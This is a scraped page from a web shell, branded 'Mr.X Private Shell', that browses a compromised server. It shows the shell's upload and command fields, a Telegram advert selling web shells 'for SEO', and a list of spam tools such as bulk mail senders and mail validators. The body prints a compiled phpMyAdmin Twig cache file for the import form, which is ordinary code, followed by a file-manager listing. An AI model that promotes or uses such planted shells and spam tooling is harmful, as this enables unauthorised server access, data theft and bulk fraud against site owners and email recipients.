__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

use Twig\Environment;
use Twig\Error\LoaderError;
use Twig\Error\RuntimeError;
use Twig\Extension\CoreExtension;
use Twig\Extension\SandboxExtension;
use Twig\Markup;
use Twig\Sandbox\SecurityError;
use Twig\Sandbox\SecurityNotAllowedTagError;
use Twig\Sandbox\SecurityNotAllowedFilterError;
use Twig\Sandbox\SecurityNotAllowedFunctionError;
use Twig\Source;
use Twig\Template;
use Twig\TemplateWrapper;

/* import.twig */
class __TwigTemplate_b9609b6cd6c2e0a86259ffde030f9c54 extends Template
{
    private Source $source;
    /**
     * @var array<string, Template>
     */
    private array $macros = [];

    public function __construct(Environment $env)
    {
        parent::__construct($env);

        $this->source = $this->getSourceContext();

        $this->parent = false;

        $this->blocks = [
            'title' => [$this, 'block_title'],
        ];
    }

    protected function doDisplay(array $context, array $blocks = []): iterable
    {
        $macros = $this->macros;
        // line 1
        yield "<div class=\"container\">
  <h2 class=\"my-3\">
    ";
        // line 3
        yield PhpMyAdmin\Html\Generator::getImage("b_import", _gettext("Import"));
        yield "
    ";
        // line 4
        yield from $this->unwrap()->yieldBlock('title', $context, $blocks);
        // line 5
        yield "  </h2>

  ";
        // line 7
        yield ($context["page_settings_error_html"] ?? null);
        yield "
  ";
        // line 8
        yield ($context["page_settings_html"] ?? null);
        yield "

  <iframe id=\"import_upload_iframe\" name=\"import_upload_iframe\" width=\"1\" height=\"1\" class=\"hide\"></iframe>
  <div id=\"import_form_status\" class=\"hide\"></div>
  <div id=\"importmain\">
    <img src=\"";
        // line 13
        yield $this->env->getRuntime('Twig\Runtime\EscaperRuntime')->escape($this->extensions['PhpMyAdmin\Twig\AssetExtension']->getImagePath("ajax_clock_small.gif"), "html", null, true);
        yield "\" width=\"16\" height=\"16\" alt=\"ajax clock\" class=\"hide\">

    <script type=\"text/javascript\">
//<![CDATA[
";
        // line 17
        yield from $this->loadTemplate("import/javascript.twig", "import.twig", 17)->unwrap()->yield(CoreExtension::toArray(["upload_id" => ($context["upload_id"] ?? null), "handler" => ($context["handler"] ?? null)]));
        // line 18
        yield "//]]>
    </script>

    <form id=\"import_file_form\" action=\"";
        // line 21
        yield PhpMyAdmin\Url::getFromRoute("/import");
        yield "\" method=\"post\" enctype=\"multipart/form-data\" name=\"import\" class=\"ajax\"";
        // line 22
        if ((($context["handler"] ?? null) != "PhpMyAdmin\\Plugins\\Import\\Upload\\UploadNoplugin")) {
            yield " target=\"import_upload_iframe\"";
        }
        yield ">
      ";
        // line 23
        yield PhpMyAdmin\Url::getHiddenInputs(($context["hidden_inputs"] ?? null));
        yield "

      <div class=\"card mb-3\">
        <div class=\"card-header\">";
yield _gettext("File to import:");
        // line 26
        yield "</div>
        <div class=\"card-body\">
          ";
        // line 29
        yield "          ";
        if ( !Twig\Extension\CoreExtension::testEmpty(($context["compressions"] ?? null))) {
            // line 30
            yield "            <p class=\"card-text\">
              ";
            // line 31
            yield $this->env->getRuntime('Twig\Runtime\EscaperRuntime')->escape(Twig\Extension\CoreExtension::sprintf(_gettext("File may be compressed (%s) or uncompressed."), Twig\Extension\CoreExtension::join(($context["compressions"] ?? null), ", ")), "html", null, true);
            yield "<br>
              ";
yield _gettext("A compressed file's name must end in <strong>.[format].[compression]</strong>. Example: <strong>.sql.zip</strong>");
            // line 33
            yield "            </p>
          ";
        }
        // line 35
        yield "
          ";
        // line 36
        if ((($context["is_upload"] ?? null) &&  !Twig\Extension\CoreExtension::testEmpty(($context["upload_dir"] ?? null)))) {
            // line 37
            yield "            ";
            $context["use_local_file_import"] = ( !Twig\Extension\CoreExtension::testEmpty(($context["timeout_passed_global"] ?? null)) &&  !Twig\Extension\CoreExtension::testEmpty(($context["local_import_file"] ?? null)));
            // line 38
            yield "            <ul class=\"nav nav-pills mb-3\" id=\"importFileTab\" role=\"tablist\">
              <li class=\"nav-item\" role=\"presentation\">
                <button class=\"nav-link";
            // line 40
            yield (( !($context["use_local_file_import"] ?? null)) ? (" active") : (""));
            yield "\" id=\"uploadFileTab\" data-bs-toggle=\"tab\" data-bs-target=\"#uploadFile\" type=\"button\" role=\"tab\" aria-controls=\"uploadFile\" aria-selected=\"";
            yield (( !($context["use_local_file_import"] ?? null)) ? ("true") : ("false"));
            yield "\">";
yield _gettext("Upload a file");
            yield "</button>
              </li>
              <li class=\"nav-item\" role=\"presentation\">
                <button class=\"nav-link";
            // line 43
            yield ((($context["use_local_file_import"] ?? null)) ? (" active") : (""));
            yield "\" id=\"localFileTab\" data-bs-toggle=\"tab\" data-bs-target=\"#localFile\" type=\"button\" role=\"tab\" aria-controls=\"localFile\" aria-selected=\"";
            yield ((($context["use_local_file_import"] ?? null)) ? ("true") : ("false"));
            yield "\">";
yield _gettext("Select file to import");
            yield "</button>
              </li>
            </ul>
            <div class=\"tab-content mb-3\" id=\"importFileTabContent\">
              <div class=\"tab-pane fade";
            // line 47
            yield (( !($context["use_local_file_import"] ?? null)) ? (" show active") : (""));
            yield "\" id=\"uploadFile\" role=\"tabpanel\" aria-labelledby=\"uploadFileTab\">
                <input type=\"hidden\" name=\"MAX_FILE_SIZE\" value=\"";
            // line 48
            yield $this->env->getRuntime('Twig\Runtime\EscaperRuntime')->escape(($context["max_upload_size"] ?? null), "html", null, true);
            yield "\">
                <div class=\"mb-3\">
                  <label class=\"form-label\" for=\"input_import_file\">";
yield _gettext("Browse your computer:");
            // line 50
            yield " <small>";
            yield $this->env->getRuntime('Twig\Runtime\EscaperRuntime')->escape(($context["formatted_maximum_upload_size"] ?? null), "html", null, true);
            yield "</small></label>
                  <input class=\"form-control\" type=\"file\" name=\"import_file\" id=\"input_import_file\">
                </div>
                <div id=\"upload_form_status\" class=\"hide\"></div>
                <div id=\"upload_form_status_info\" class=\"hide\"></div>
                <p class=\"card-text\">";
yield _gettext("You may also drag and drop a file on any page.");
            // line 55
            yield "</p>
              </div>

              <div class=\"tab-pane fade";
            // line 58
            yield ((($context["use_local_file_import"] ?? null)) ? (" show active") : (""));
            yield "\" id=\"localFile\" role=\"tabpanel\" aria-labelledby=\"localFileTab\">
                ";
            // line 59
            if ((($context["local_files"] ?? null) === false)) {
                // line 60
                yield "                  ";
                yield $this->env->getFilter('error')->getCallable()(_gettext("The directory you set for upload work cannot be reached."));
                yield "
                ";
            } elseif ( !Twig\Extension\CoreExtension::testEmpty(            // line 61
($context["local_files"] ?? null))) {
                // line 62
                yield "                  <label class=\"form-label\" for=\"select_local_import_file\">";
                yield PhpMyAdmin\Sanitize::sanitizeMessage(Twig\Extension\CoreExtension::sprintf(_gettext("Select from the web server upload directory [strong]%s[/strong]:"), ($context["user_upload_dir"] ?? null)));
                yield "</label>
                  <select class=\"form-select\" size=\"1\" name=\"local_import_file\" id=\"select_local_import_file\">
                    <option value=\"\"></option>
                    ";
                // line 65
                yield ($context["local_files"] ?? null);
                yield "
                  </select>
                ";
            } else {
                // line 68
                yield "                  <div class=\"alert alert-info\" role=\"alert\">
                    ";
yield _gettext("There are no files to import!");
                // line 70
                yield "                  </div>
                ";
            }
            // line 72
            yield "              </div>
            </div>
          ";
        } elseif (        // line 74
($context["is_upload"] ?? null)) {
            // line 75
            yield "            <input type=\"hidden\" name=\"MAX_FILE_SIZE\" value=\"";
            yield $this->env->getRuntime('Twig\Runtime\EscaperRuntime')->escape(($context["max_upload_size"] ?? null), "html", null, true);
            yield "\">
            <div class=\"mb-3\">
              <label class=\"form-label\" for=\"input_import_file\">";
yield _gettext("Browse your computer:");
            // line 77
            yield " <small>";
            yield $this->env->getRuntime('Twig\Runtime\EscaperRuntime')->escape(($context["formatted_maximum_upload_size"] ?? null), "html", null, true);
            yield "</small></label>
              <input class=\"form-control\" type=\"file\" name=\"import_file\" id=\"input_import_file\">
            </div>
            <div id=\"upload_form_status\" class=\"hide\"></div>
            <div id=\"upload_form_status_info\" class=\"hide\"></div>
            <p class=\"card-text\">";
yield _gettext("You may also drag and drop a file on any page.");
            // line 82
            yield "</p>
          ";
        } elseif ( !Twig\Extension\CoreExtension::testEmpty(        // line 83
($context["upload_dir"] ?? null))) {
            // line 84
            yield "            ";
            if ((($context["local_files"] ?? null) === false)) {
                // line 85
                yield "              ";
                yield $this->env->getFilter('error')->getCallable()(_gettext("The directory you set for upload work cannot be reached."));
                yield "
            ";
            } elseif ( !Twig\Extension\CoreExtension::testEmpty(            // line 86
($context["local_files"] ?? null))) {
                // line 87
                yield "              <div class=\"mb-3\">
                <label class=\"form-label\" for=\"select_local_import_file\">";
                // line 88
                yield PhpMyAdmin\Sanitize::sanitizeMessage(Twig\Extension\CoreExtension::sprintf(_gettext("Select from the web server upload directory [strong]%s[/strong]:"), ($context["user_upload_dir"] ?? null)));
                yield "</label>
                <select class=\"form-select\" size=\"1\" name=\"local_import_file\" id=\"select_local_import_file\">
                  <option value=\"\"></option>
                  ";
                // line 91
                yield ($context["local_files"] ?? null);
                yield "
                </select>
              </div>
            ";
            } else {
                // line 95
                yield "              <div class=\"alert alert-info\" role=\"alert\">
                ";
yield _gettext("There are no files to import!");
                // line 97
                yield "              </div>
            ";
            }
            // line 99
            yield "          ";
        } else {
            // line 100
            yield "            ";
            yield $this->env->getFilter('notice')->getCallable()(_gettext("File uploads are not allowed on this server."));
            yield "
          ";
        }
        // line 102
        yield "
          <label class=\"form-label\" for=\"charset_of_file\">";
yield _gettext("Character set of the file:");
        // line 103
        yield "</label>
          ";
        // line 104
        if (($context["is_encoding_supported"] ?? null)) {
            // line 105
            yield "            <select class=\"form-select\" id=\"charset_of_file\" name=\"charset_of_file\" size=\"1\">
              ";
            // line 106
            $context['_parent'] = $context;
            $context['_seq'] = CoreExtension::ensureTraversable(($context["encodings"] ?? null));
            foreach ($context['_seq'] as $context["_key"] => $context["charset"]) {
                // line 107
                yield "                <option value=\"";
                yield $this->env->getRuntime('Twig\Runtime\EscaperRuntime')->escape($context["charset"], "html", null, true);
                yield "\"";
                if (((Twig\Extension\CoreExtension::testEmpty(($context["import_charset"] ?? null)) && ($context["charset"] == "utf-8")) || ($context["charset"] == ($context["import_charset"] ?? null)))) {
                    yield " selected";
                }
                yield ">";
                // line 108
                yield $this->env->getRuntime('Twig\Runtime\EscaperRuntime')->escape($context["charset"], "html", null, true);
                // line 109
                yield "</option>
              ";
            }
            $_parent = $context['_parent'];
            unset($context['_seq'], $context['_key'], $context['charset'], $context['_parent']);
            $context = array_intersect_key($context, $_parent) + $_parent;
            // line 111
            yield "            </select>
          ";
        } else {
            // line 113
            yield "            <select class=\"form-select\" lang=\"en\" dir=\"ltr\" name=\"charset_of_file\" id=\"charset_of_file\">
              <option value=\"\"></option>
              ";
            // line 115
            $context['_parent'] = $context;
            $context['_seq'] = CoreExtension::ensureTraversable(($context["charsets"] ?? null));
            foreach ($context['_seq'] as $context["_key"] => $context["charset"]) {
                // line 116
                yield "                <option value=\"";
                yield $this->env->getRuntime('Twig\Runtime\EscaperRuntime')->escape(CoreExtension::getAttribute($this->env, $this->source, $context["charset"], "getName", [], "method", false, false, false, 116), "html", null, true);
                yield "\" title=\"";
                yield $this->env->getRuntime('Twig\Runtime\EscaperRuntime')->escape(CoreExtension::getAttribute($this->env, $this->source, $context["charset"], "getDescription", [], "method", false, false, false, 116), "html", null, true);
                yield "\"";
                yield (((CoreExtension::getAttribute($this->env, $this->source, $context["charset"], "getName", [], "method", false, false, false, 116) == "utf8")) ? (" selected") : (""));
                yield ">";
                // line 117
                yield $this->env->getRuntime('Twig\Runtime\EscaperRuntime')->escape(CoreExtension::getAttribute($this->env, $this->source, $context["charset"], "getName", [], "method", false, false, false, 117), "html", null, true);
                // line 118
                yield "</option>
              ";
            }
            $_parent = $context['_parent'];
            unset($context['_seq'], $context['_key'], $context['charset'], $context['_parent']);
            $context = array_intersect_key($context, $_parent) + $_parent;
            // line 120
            yield "            </select>
          ";
        }
        // line 122
        yield "        </div>
      </div>

      <div class=\"card mb-3\">
        <div class=\"card-header\">";
yield _gettext("Partial import:");
        // line 126
        yield "</div>
        <div class=\"card-body\">
          ";
        // line 128
        if ((array_key_exists("timeout_passed", $context) && ($context["timeout_passed"] ?? null))) {
            // line 129
            yield "            <input type=\"hidden\" name=\"skip\" value=\"";
            yield $this->env->getRuntime('Twig\Runtime\EscaperRuntime')->escape(($context["offset"] ?? null), "html", null, true);
            yield "\">
            <div class=\"alert alert-info\" role=\"alert\">
              ";
            // line 131
            yield $this->env->getRuntime('Twig\Runtime\EscaperRuntime')->escape(Twig\Extension\CoreExtension::sprintf(_gettext("Previous import timed out, after resubmitting will continue from position %d."), ($context["offset"] ?? null)), "html", null, true);
            yield "
            </div>
          ";
        }
        // line 134
        yield "
          <div class=\"form-check form-switch mb-3\">
            <input class=\"form-check-input\" type=\"checkbox\" role=\"switch\" name=\"allow_interrupt\" value=\"yes\" id=\"checkbox_allow_interrupt\"";
        // line 136
        yield ($context["is_allow_interrupt_checked"] ?? null);
        yield " aria-describedby=\"allowInterruptHelp\">
            <label class=\"form-check-label\" for=\"checkbox_allow_interrupt\">
              ";
yield _gettext("Allow the interruption of an import in case the script detects it is close to the PHP timeout limit.");
        // line 139
        yield "            </label>
            <div id=\"allowInterruptHelp\" class=\"form-text\">";
yield _gettext("This might be a good way to import large files, however it can break transactions.");
        // line 140
        yield "</div>
          </div>

          ";
        // line 143
        if ( !(array_key_exists("timeout_passed", $context) && ($context["timeout_passed"] ?? null))) {
            // line 144
            yield "            <label class=\"form-label\" for=\"text_skip_queries\">";
yield _gettext("Skip this number of queries (for SQL) starting from the first one:");
            yield "</label>
            <input class=\"form-control\" type=\"number\" name=\"skip_queries\" value=\"";
            // line 145
            yield ($context["skip_queries_default"] ?? null);
            yield "\" id=\"text_skip_queries\" min=\"0\">
          ";
        } else {
            // line 147
            yield "            ";
            // line 148
            yield "            <input type=\"hidden\" name=\"skip_queries\" value=\"";
            yield ($context["skip_queries_default"] ?? null);
            yield "\" id=\"text_skip_queries\">
          ";
        }
        // line 150
        yield "        </div>
      </div>

      <div class=\"card mb-3\">
        <div class=\"card-header\">";
yield _gettext("Other options");
        // line 154
        yield "</div>
        <div class=\"card-body\">
          <input type=\"hidden\" name=\"fk_checks\" value=\"0\">
          <div class=\"form-check form-switch\">
            <input class=\"form-check-input\" type=\"checkbox\" role=\"switch\" name=\"fk_checks\" id=\"fk_checks\" value=\"1\"";
        // line 158
        yield ((($context["is_foreign_key_check"] ?? null)) ? (" checked") : (""));
        yield ">
            <label class=\"form-check-label\" for=\"fk_checks\">";
yield _gettext("Enable foreign key checks");
        // line 159
        yield "</label>
          </div>
        </div>
      </div>

      <div class=\"card mb-3\">
        <div class=\"card-header\">";
yield _gettext("Format");
        // line 165
        yield "</div>
        <div class=\"card-body\">
          <select class=\"form-select\" id=\"plugins\" name=\"format\" aria-label=\"";
yield _gettext("Format");
        // line 167
        yield "\">
            ";
        // line 168
        $context['_parent'] = $context;
        $context['_seq'] = CoreExtension::ensureTraversable(($context["plugins_choice"] ?? null));
        foreach ($context['_seq'] as $context["_key"] => $context["option"]) {
            // line 169
            yield "              <option value=\"";
            yield $this->env->getRuntime('Twig\Runtime\EscaperRuntime')->escape(CoreExtension::getAttribute($this->env, $this->source, $context["option"], "name", [], "any", false, false, false, 169), "html", null, true);
            yield "\"";
            yield ((CoreExtension::getAttribute($this->env, $this->source, $context["option"], "is_selected", [], "any", false, false, false, 169)) ? (" selected") : (""));
            yield ">";
            yield $this->env->getRuntime('Twig\Runtime\EscaperRuntime')->escape(CoreExtension::getAttribute($this->env, $this->source, $context["option"], "text", [], "any", false, false, false, 169), "html", null, true);
            yield "</option>
            ";
        }
        $_parent = $context['_parent'];
        unset($context['_seq'], $context['_key'], $context['option'], $context['_parent']);
        $context = array_intersect_key($context, $_parent) + $_parent;
        // line 171
        yield "          </select>

          ";
        // line 173
        $context['_parent'] = $context;
        $context['_seq'] = CoreExtension::ensureTraversable(($context["plugins_choice"] ?? null));
        foreach ($context['_seq'] as $context["_key"] => $context["option"]) {
            // line 174
            yield "            <input type=\"hidden\" id=\"force_file_";
            yield $this->env->getRuntime('Twig\Runtime\EscaperRuntime')->escape(CoreExtension::getAttribute($this->env, $this->source, $context["option"], "name", [], "any", false, false, false, 174), "html", null, true);
            yield "\" value=\"true\">
          ";
        }
        $_parent = $context['_parent'];
        unset($context['_seq'], $context['_key'], $context['option'], $context['_parent']);
        $context = array_intersect_key($context, $_parent) + $_parent;
        // line 176
        yield "
          <div id=\"import_notification\"></div>
        </div>
      </div>

      <div class=\"card mb-3\" id=\"format_specific_opts\">
        <div class=\"card-header\">";
yield _gettext("Format-specific options:");
        // line 182
        yield "</div>
        <div class=\"card-body\">
          ";
        // line 184
        yield ($context["options"] ?? null);
        yield "
        </div>
      </div>

      ";
        // line 189
        yield "      ";
        if (($context["can_convert_kanji"] ?? null)) {
            // line 190
            yield "        <div class=\"card mb-3\" id=\"kanji_encoding\">
          <div class=\"card-header\">";
yield _gettext("Encoding Conversion:");
            // line 191
            yield "</div>
          <div class=\"card-body\">
            ";
            // line 193
            yield from $this->loadTemplate("encoding/kanji_encoding_form.twig", "import.twig", 193)->unwrap()->yield($context);
            // line 194
            yield "          </div>
        </div>
      ";
        }
        // line 197
        yield "
      <div id=\"submit\">
        <input id=\"buttonGo\" class=\"btn btn-primary\" type=\"submit\" value=\"";
yield _gettext("Import");
        // line 199
        yield "\">
      </div>
    </form>
  </div>
</div>
";
        yield from [];
    }

    // line 4
    /**
     * @return iterable<null|scalar|\Stringable>
     */
    public function block_title(array $context, array $blocks = []): iterable
    {
        $macros = $this->macros;
        yield from [];
    }

    /**
     * @codeCoverageIgnore
     */
    public function getTemplateName(): string
    {
        return "import.twig";
    }

    /**
     * @codeCoverageIgnore
     */
    public function isTraitable(): bool
    {
        return false;
    }

    /**
     * @codeCoverageIgnore
     */
    public function getDebugInfo(): array
    {
        return array (  533 => 4,  523 => 199,  518 => 197,  513 => 194,  511 => 193,  507 => 191,  503 => 190,  500 => 189,  493 => 184,  489 => 182,  480 => 176,  471 => 174,  467 => 173,  463 => 171,  450 => 169,  446 => 168,  443 => 167,  438 => 165,  429 => 159,  424 => 158,  418 => 154,  411 => 150,  405 => 148,  403 => 147,  398 => 145,  393 => 144,  391 => 143,  386 => 140,  382 => 139,  376 => 136,  372 => 134,  366 => 131,  360 => 129,  358 => 128,  354 => 126,  347 => 122,  343 => 120,  336 => 118,  334 => 117,  326 => 116,  322 => 115,  318 => 113,  314 => 111,  307 => 109,  305 => 108,  297 => 107,  293 => 106,  290 => 105,  288 => 104,  285 => 103,  281 => 102,  275 => 100,  272 => 99,  268 => 97,  264 => 95,  257 => 91,  251 => 88,  248 => 87,  246 => 86,  241 => 85,  238 => 84,  236 => 83,  233 => 82,  223 => 77,  216 => 75,  214 => 74,  210 => 72,  206 => 70,  202 => 68,  196 => 65,  189 => 62,  187 => 61,  182 => 60,  180 => 59,  176 => 58,  171 => 55,  161 => 50,  155 => 48,  151 => 47,  140 => 43,  130 => 40,  126 => 38,  123 => 37,  121 => 36,  118 => 35,  114 => 33,  109 => 31,  106 => 30,  103 => 29,  99 => 26,  92 => 23,  86 => 22,  83 => 21,  78 => 18,  76 => 17,  69 => 13,  61 => 8,  57 => 7,  53 => 5,  51 => 4,  47 => 3,  43 => 1,);
    }

    public function getSourceContext(): Source
    {
        return new Source("", "import.twig", "/usr/share/phpmyadmin/templates/import.twig");
    }
}

Filemanager

Name Type Size Permission Actions
e7056c866f39c668bd04450161b04799.php File 24.88 KB 0644
Filemanager